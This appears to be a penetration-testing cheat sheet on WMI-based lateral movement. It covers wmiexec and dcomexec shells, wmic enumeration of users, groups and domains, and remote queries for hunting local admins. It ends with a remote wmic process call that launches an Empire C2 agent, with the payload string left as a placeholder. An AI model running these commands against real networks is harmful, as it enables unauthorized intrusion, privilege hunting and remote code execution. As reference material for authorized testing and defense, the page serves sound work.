WmicExec
How Does it works
Wmi allows to open process in hosts where you know username/password/Hash. Then, Wmiexec uses wmi to execute each command that is asked to execute this is why Wmicexec gives you semi-interactive shell.
dcomexec.py: This script gives a semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints ShellBrowserWindow DCOM object. Currently, it supports MMC20. Application, Shell Windows and Shell Browser Window objects. from [here](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
WMIC
From an attacker's perspective, WMI can be very valuable in enumerating sensitive information about a system or the domain.
wmic computerystem list full /format:list
wmic process list /format:list
wmic ntdomain list /format:list
wmic useraccount list /format:list
wmic group list /format:list
wmic sysaccount list /format:list
Manual Remote WMI Querying
For example, here's a very stealthy way to discover local admins on a remote machine note that domain is the computer name:
wmic /node:ordws01 path win32_groupuser where (groupcomponent="win32_group.name=\"administrators\",domain=\"ORDWS01\"")
Another useful oneliner is to see who is logged on to a machine for when you're hunting admins:
wmic /node:ordws01 path win32_loggedonuser get antecedent
wmic can even read nodes from a text file and execute the command on all of them. If you have a text file of workstations:
wmic /node:@workstations.txt path win32_loggedonuser get antecedent
We'll remotely create a process over WMI to execute a Empire agent:
wmic /node:ordws01 /user:CSCOU\jarrieta path win32_process call create "**empire launcher string here**"
We see it executed successfully ReturnValue = 0. And a second later our Empire listener catches it. Note the process ID is the same as WMI returned.
